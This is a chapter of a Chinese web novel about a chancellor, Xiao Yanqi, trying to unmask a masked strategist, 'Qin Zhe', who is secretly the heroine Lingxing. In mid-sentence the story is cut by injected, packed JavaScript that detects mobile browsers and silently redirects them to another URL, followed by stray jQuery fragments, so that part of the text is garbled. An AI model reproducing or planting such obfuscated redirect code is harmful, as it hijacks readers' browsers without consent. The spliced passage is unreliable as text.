明明是陌生的声音,萧言祁心底却涌上熟悉的感觉,有说不清的东西从封闭的湖底躁动,他将眼神从屏风上挪开,努力凝神。
眼下场合,他不能失态。
裴汶之抬手,“萧相请坐”
萧言祁顺势坐下,眼神不自觉瞥向屏风,心中疑窦丛生。
正事要紧,他偏头问裴汶之:“我昨日的提议,裴世子考虑得如何?”
裴汶之笑了笑,“我说了,除非真龙天子金口玉言,否则裴氏难以信任”
萧言祁:“这倒不难,你是要圣旨还是陛下亲自允诺,都可以满足”
裴汶之摇摇头,“萧相,当今陛下说的话有几分分量,你我心知肚明,我只追随真正的明主”
萧言祁不禁皱眉,裴汶之显然话中有话,他不屑冷哼,“明主与否只有世人能评判,却绝不会是躲于暗处,不敢露头的自大之徒”
裴汶之悄悄看了看屏风后面的人影,不嫌事大,“萧相方才所言,秦先生以为如何?”
灵星察觉萧言祁锐利的目光看过来,镇定道:“萧相言之有理,只是未来的事谁也说不准,当今陛下会否成为一代明君暂且不论,只怕有朝一日皇帝亲政大权在握,第一个要除掉的,便是萧相吧”
萧言祁愣了一瞬,他回神,起身走到屏风前五步外停住,“是又如何?”
灵星微微仰头,透过屏风只能看到萧言祁颀长的影子,孤独却固执,她劝道:“萧相身负才华,心怀天下,若为守住不属于自己的皇权蹉跎半生却不得善终,太过可惜”
“呵”,萧言祁冷笑,“这位秦先生,未免太以己度人,你怎知我不是乐在其中”
灵星沉默稍许,没有反驳,只道:“是我自以为是了,裴氏与萧相道不同不相为谋,还请萧相早些离开江陵吧”
萧言祁怔住,一股奇怪又抓不着的感觉在他心中乱撞。
他看了看裴汶之,对方一副颇为赞同的模样,看来没必要再相谈下去了,“既然裴氏执意要反,那便且看来日吧!”,
裴汶之见状要送客,却见萧言祁突然走到屏风前面,霍云追立刻拔剑拦住。
“萧相这是何意?”,裴汶之走过来,与霍云追并排站着,像一堵肉墙。
萧言祁心中的猜想印证了几分,他淡声道:“萧某不过是想目睹一下这位秦先生的风采”
裴汶之笑道:“一个糙男人没甚好看,不及萧相俊美半分,萧相若想领略江陵风采,汶之这就安排美景美酒,还有各色美人,任君欣赏”
他说完,突觉背后凉飕飕的,身后有人在朝他放冷箭。
萧言祁似笑非笑,“萧某不喜饮酒,不过江陵美人,我倒是有几分兴趣”
裴汶之愣住,萧言祁怎么不按常理出牌,他不动声色地眼神往后瞟,带着木头面具的人影坐的笔直,看起来并无异样。
“那今晚城中临江阁,还请萧相赏脸前来”
萧言祁看了看霍云追,对方满身防备,他突然伸出右手,抓在屏风的木框上。
霍云追眼神一凛,毫不犹豫拔剑。
“住手!”
剑堪堪停在萧言祁胳膊上方两寸的位置,霍云追看向倏然站起来的身影,收了剑。
萧言祁僵住,方才那情急之下的声音,让他呼吸一滞。
这个秦哲究竟是谁!
沙哑的声音重新响起:“萧丞相,您这是何故?秦哲面貌丑陋,不愿示于人前,萧相百官之首、名家之徒,还请让秦哲保留一些颜面!”
萧言祁放在木框上的手垂下,方才用劲手臂上的伤口裂开,血很快便染红衣袖。
“秦先生所言,倒令萧某惭愧”,他恢复镇定,冲裴汶之告辞,淡然离去,带血的衣袖滴下鲜红。
灵星从屏风后走出来,看向地上的血迹,心微微发疼。
裴汶之摸了摸鼻子,尴尬打圆场:“我就说萧言祁不好对付,那今晚…”
灵星回头一瞪,“话已出口,世子晚上去赴宴便是”
裴汶之干笑两声,“我也不曾想他会答应”
灵星冷静下来,“世子与他周旋一番,尽快将人请出江陵为好,傅家那边怕是要按捺不住了”
变脸可真快,裴汶之不禁佩服。
灵星想了想,“今夜,云追不与世子一道,另派两名暗卫护卫世子周全”
裴汶之没意见,再让霍云追跟他去见萧言祁,霍云追身上的怨气都要把他酸死了。
“萧言祁怕是已经怀疑殿下的身份,可要我再找个隐蔽的地方给殿下住下?”
灵星摇头,“不必,倒是王府,尽快疏散府上人口,今夜怕是难以太平”
霍云追:“殿下放心,我父亲早就带府上众多家眷住到别苑去了”
灵星摘下木面具给裴汶之,“安排一人戴上这个面具,今夜便让萧言祁见到秦哲的模样吧”
她站在霍云追面前,轻声道:“我累了,回水芜居”
裴汶之很快命人拿了一套王府侍女的衣裳过来给灵星换上,霍云追跟在她身后,二人来到王府一道靠着河的侧门,登上不显眼的乌篷船,船夫划着双桨,沿途叫卖船上的蔬果。
夜幕降临,萧言祁抬头望逐渐升起的明月,心绪难平。
张虎走进来,萧言祁吩咐,“我去赴约,今夜务必抓到秦哲!”
张虎神色认真:“是”
一伙隐蔽的人影悄悄靠近江陵王府,萧言祁来到临江阁,裴汶之笑脸相迎,“萧相来的正好,这美酒刚摆上呢”
萧言祁环视四周,坐下来,“萧某负伤,不便饮酒”
裴汶之立马让人撤了萧言祁面前的酒杯,换上清茶。
“世子真是体贴周到,不过,世子说的美人呢?怎么一个都未见到?”
裴汶之默了默,“萧相当真是来看美人的?”
萧言祁“嗯”了一声。
片刻后,几名膀大腰圆,点着浓妆的舞姬被传唤过来,水袖长舞,琴音婉转。
萧言祁眼皮一跳,“世子的品味,甚是清奇”
裴汶之:“哈哈,萧相谬赞”
萧言祁突然眼神一变,“那位秦先生,怎么不过来一同赏月?”
裴汶之摇摇头,“看来萧相对我那谋士甚是好奇啊,只是他生性不好女色,萧相这般好样貌,还是别让他得见为好,不然可就麻烦了”
萧言祁顿住片刻,没再说话,沉默喝茶。
江陵王府,张虎带着今日潜入浔州的暗卫在府中搜查秦哲,他们监视了两日,未曾发觉状似秦哲的人进出王府。浔州城内姓秦的人家早已搜查过,并未发现秦哲落脚处,而今早,秦哲却在王府现身。
想来,秦哲应当是住在王府内,然而暗卫潜进去搜查了许久,却一无所获。
整个王府都搜遍了,只剩裴汶之住的卧房,张虎没有犹豫,命人进去搜查,自己则引开王府护卫。
半刻钟后,一名戴面具的男子被人悄无身息带出王府。
水芜居,灵星并未睡下,在书房看杂记,时不时写两句批注,颇有些心神不宁,霍云追走到她面前,“张虎刚带人,搜查了王府”
对此灵星并不意外,萧言祁今夜赴约,怕也是想调虎离山,拖住裴汶之。
他太过敏锐,而她今日,也确实失态了。
她想起萧言祁受伤的手臂,吩咐道:“着人去看看世子那边的情况”
霍云追没动,严肃道:“你想不想亲自见见萧言祁?”
灵星微愣,霍云追又道:“我带着你乔装到临江阁附近,不会被发现的”
短暂的沉默过后,灵星摇头,“不必,我与他自有相见之日,现在还不是时候”
霍云追默默松了口气,就当是他的私心,她不与萧言祁相认,自己便多了时日独自陪伴她,他沉闷了多日的心情好了不少。
是他来的太晚,早已失了独占她心的机会。
他出去安排人去临江阁打探情况,回来时,书房还亮着灯,他转身去厨房给她换了一壶热茶。
临江阁,萧言祁与裴汶之闲聊许久,舞姬已退下,独留泛着银光的江面和吹来的清风。
二人一杯酒未喝,只灌了许多茶水,裴汶之笑道:“今夜怕是难眠”
萧言祁注意到张虎朝他走来,起身告辞,裴汶之笑眯眯:“慢走不送”
离开临江阁回驿馆的路上,萧言祁问:“情况如何?”
张虎:“人抓到了,就在驿馆”
萧言祁皱眉,“这么轻易,他藏身何处?”
张虎微顿:“裴汶之的卧房,主子,那秦哲,与裴汶之莫非是那种关系?”
倒是佐证了裴汶之方才所言秦哲好龙阳,萧言祁没深究,“先去看看这个秦哲究竟是何方神圣”
张虎:“是”
那厢,裴汶之在阁楼上,看见萧言祁的人离开了,才慢悠悠下来,身后护卫冲他耳语,“世子,主子那边传话说王府不安全,让您今夜另寻落脚处”
“知道了,去告诉她,我这边一切如常”
护卫悄悄离开,裴汶之转头去了怡红楼,跟踪他的人见状,只得趴在屋顶监视他。
驿馆,萧言祁看了看坐于房中被绑着的人,他微微皱眉,此人与白日屏风后那人,似有些不同。
他眼神示意张虎,张虎上前拿掉秦哲的面具,是个蓄着胡子相貌平平的男子,声音沙哑,“萧相执意要看秦某真容,眼下可还满意?”
萧言祁神色淡淡,“不太满意”
男子嗤笑,“我看萧相倒是秀色可餐”
张虎斥道:“住口!休得胡言!”
他上前挡住男子的视线,像是怕男子的眼睛玷污了主子。
萧言祁恍惚,秀色可餐,倒是许久未曾听人这般说他,以往唯一敢如此玩笑他的人,已离开他多年。
“张虎,放了他”
张虎不解,却照做,男子被松绑后,不客气地从张虎手上抢回面具,大摇大摆离开。
张虎脸色不好,他扬起手刀,“主子,这人要不要…”
萧言祁:“一个冒牌货,没必
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772936|177633||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要”
张虎惊讶,“假的?”
萧言祁颔首,今日在王府大殿,他观裴汶之和霍云追的态度,笃定秦哲必定就是裴氏身后之人,昨日,裴汶之在他剑下,情急之下喊的竟然是“霍兄弟”。
显然裴汶之不是霍云追的主子,秦哲才是。
一个藏得如此深之人,不会没有防备被轻易抓到,还言语轻浮伪装得如此拙劣。
他闭了闭眼,而且,方才那人没有让他如白日般,心生闷痛。
“去查霍云追的下落,他定是守在秦哲身边”、
张虎领命,夜色中人影闪动。
水芜居,灵星得到回信,得知裴汶之与萧言祁相安无事,她抬头看了看窗外的夜色,心想是时候歇下。
门外传来脚步声,霍云追立马警觉,一个细小的声音道:“主子,有大批高手冲水芜居来了”
霍云追脸色微变,灵星安抚他,“无须惊慌”
他提议,“不若我先带你离开?”
灵星摇头,“现在离开怕是来不及了,若是被他们看到我们逃走,岂不是不打自招这里有猫腻,让暗卫假装功夫不高的护卫,随意抵挡几下便是”
霍云追眼神坚定,“星儿,我绝不会让人伤害你”
灵星看出霍云追这两日心情不佳,她上前牵他的手,“云追,我相信你”
霍云追被她牵住的手心发热,十指无处安放,躁动的心却被抚平
灵星听见外边传来骚动声,想必来的都是高手。
不久后,有暗卫来报,“主子,闯入者已经离开”
灵星:“我们的人可有受伤?”
暗卫回道:“有几人受伤,但未伤及性命,来人功夫在我等之上,他们抓了几个侍女问这家主人是谁,是不是戴面具的男人,侍女只说是名女子,他们便离开了”
灵星:“知道了,你们先退下吧”
此处被搜过,萧言祁的人应该不会再来了,她对霍云追道:“云追,我有些困了”
霍云追牵着她回卧房,“今夜我在屋内守着你”
灵星拿了一床被褥铺在门边的地上,霍云追直勾勾地盯着她看,她笑道:“做什么这样看我?”
霍云追挪过去,乖乖躺进地上的床褥里,“我明晚还想睡在这儿”
他眼睛亮亮的,灵星心觉好笑,“快睡”
一室静谧。
驿馆,萧言祁难以入眠,他闭上眼,今日在江陵王府大殿内,秦哲那一声‘住手!’像魔音一般在他耳边反复响起。
好熟悉,熟悉到让他产生荒谬的念头。
张虎回来复命:“主子,裴氏在浔州的宅子都搜过了,未发现霍云追”
萧言祁问道:“此番可有遭人阻扰?”
张虎回想,“有,有几间宅子住了人,皆有护卫值守,但我们的人武功高强,并未被发现,只有南岸一栋名叫水芜居的宅子,里面的护卫甚是警觉,功夫也不差”
“属下打听了,宅子里住着一名女子,裴汶之平日里会去造访,属下猜想,或许是裴汶之养在外边的相好”
萧言祁想了想,“再去那处探一探”
张虎正要离去,萧言祁喊住他,“通知张青,让他明早带老师及其家眷离开江陵”
“是”
萧言祁按了按眉心,裴氏态度坚决,他已无需再留。
敏捷的脚步奔跑在水芜居屋顶,霍云追睁开眼,眼中闪着冷意,他掀开被子起身,手握在剑柄上,冷冷看向门外。
人影靠近,刀剑从门缝中伸进来,霍云追正要出手,却被人握住手腕,他回头,灵星捂住他的嘴,牵着他往里面走。
萧言祁的暗卫用刀弄开了门栓,踮着脚步进来,借着微弱的月光观察屋内,确实是女子的房间。
脚下踩到柔软的东西,他低头看去,竟是一床被子。
“什么人?”,轻柔的女声响起。
暗卫当即飞身离开,只听得女子在大叫:“来人,抓贼啊!”
水芜居顿时热闹起来,多名护卫装扮的男子拿着棍子在府内抓贼,张虎原本在望风,听见动静顺势躲进附近的一间屋子,他躲在桌子底下一阵,许久后四周没动静了,才准备离开,走之前,他捞走桌上的书本。
翻墙到院外,与几名暗卫汇合后,张虎便赶回驿馆。
霍云追点上卧房的灯,铺在地上的被子被人踩脏了,他有些生气,灵星道:“再另铺一床便是”
他摇头,“不用,这床就好”
他躺下来,灵星也随他,熄了灯重新来到床榻边,他想起方才她被子里的馨香,可怜巴巴轻声嘟囔,“地上好硌”
灵星失笑,“过来”
地上的人影一个挺身,眨眼间便蹲在她面前,他激动地语无伦次,“这次,我肯定不会…我看了很多书”
灵星疑惑,伸手抚上他的脸,“说什么前言不找后语的,你看了什么书?”
霍云追咽了咽口水,抓住她的手放到唇边,含住她的指尖,看她的眼神发亮,“这个”